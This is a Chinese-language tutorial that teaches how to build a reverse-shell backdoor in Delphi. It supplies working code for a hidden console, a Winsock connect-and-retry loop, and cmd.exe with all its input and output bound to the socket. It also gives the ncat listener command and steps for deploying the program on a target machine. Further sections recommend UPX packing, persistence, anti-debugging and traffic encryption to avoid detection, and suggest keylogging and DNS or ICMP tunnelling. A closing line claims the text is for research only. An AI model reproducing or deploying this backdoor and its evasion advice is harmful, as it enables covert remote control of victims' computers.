Delphi黑客编程(二)：反弹后门原理与实现

一、反弹后门概述

反弹后门是一种特殊的远程控制技术，与传统正向连接后门不同，它具有以下特点：

• 连接方向：被控端主动向控制端发起连接
• 网络穿透性：适用于被控端位于内网而控制端具有公网IP的情况
• 隐蔽性：比正向连接更难被防火墙检测和拦截

二、反弹后门核心原理

反弹后门的工作流程分为三个主要步骤：

1. 连接阶段：被控端程序主动连接预设的控制端IP和端口
2. 命令传输：控制端通过已建立的连接发送控制指令
3. 执行反馈：被控端执行命令并将结果回传给控制端

三、Delphi实现反弹后门关键技术

1. 隐藏窗体技术优化

原始隐藏窗体方法存在CMD窗口闪动问题：

win:longint;
win:=getforegroundwindow; //获取当前窗体的句柄
showwindow(win,SW_HIDE); //隐藏窗体

优化方案：

• 创建"Console Application"时删除自动生成的窗体相关代码
• 完全消除控制台窗口，实现静默运行

2. Socket连接实现

使用Winsock2库简化实现并减小程序体积：

var
  sock: TSocket; //定义socket
  sin: TSockAddrIn; //定义sockaddr_in结构

// 初始化并创建socket
sock := WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);

// 设置socket参数
sin.sin_family := AF_INET;
sin.sin_port := htons(port);
sin.sin_addr.s_addr := inet_addr(ip);

// 调用connect连接反弹地址
while (connect(sock, sin, sizeof(sin)) <> 0) do 
  Sleep(30000); // 连接失败时等待30秒重试

3. 进程创建与IO重定向

将CMD进程的输入输出直接绑定到socket：

var
  si: TStartupInfo; // 定义STARTUPINFO结构体
  pi: TProcessInformation; // 定义PROCESS_INFORMATION结构体

ZeroMemory(@si, SizeOf(si)); // si清零

// si赋值
si.cb := sizeof(si);
si.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.wShowWindow := SW_HIDE;

// 将输入、输出、报错信息都绑定到socket上
si.hStdInput := sock;
si.hStdOutput := sock;
si.hStdError := sock;

// 创建命令执行进程
CreateProcess(nil, 'cmd.exe', nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);

四、完整实现步骤

1. 定义连接参数

   var
     ip: pchar; // 定义反弹ip地址
     port: integer; // 定义反弹端口
   begin
     port := 9901; // 反弹端口赋值为9901
     ip := '127.0.0.1'; // 反弹ip地址为本机(实际使用改为控制端IP)
   

2. 初始化Winsock

   WSADATA: TWSAData;
   WSAStartup($0202, WSADATA);
   

3. 建立Socket连接（如前面所示）

4. 创建绑定进程（如前面所示）

5. 清理资源

   CloseHandle(pi.hProcess);
   CloseHandle(pi.hThread);
   closesocket(sock);
   WSACleanup();
   

五、实际应用方法

1. 编译生成：将代码编译为fantan.exe
2. 控制端准备：在控制机上使用ncat监听端口

   ncat -vv -l -p 9901
   

3. 部署执行：在被控机上运行反弹后门程序
4. 命令控制：通过ncat会话发送Windows命令

六、注意事项

1. 隐蔽性优化：

   • 删除所有调试信息
   • 使用UPX等工具压缩可执行文件
   • 考虑添加持久化机制

2. 网络适应性：

   • 实现多IP轮询连接
   • 添加连接失败后的重试机制
   • 考虑使用域名而非固定IP

3. 防御规避：

   • 加密通信数据
   • 实现心跳包机制
   • 添加反调试技术

七、扩展方向

1. 功能增强：

   • 文件上传下载
   • 屏幕截图
   • 键盘记录

2. 协议改进：

   • 使用HTTP/HTTPS协议伪装
   • 实现DNS隧道
   • 使用ICMP等非常规协议

3. 跨平台实现：

   • 适配Linux系统
   • 支持移动平台

注：本文仅用于技术研究与防御知识学习，任何未经授权的网络入侵行为都是违法的。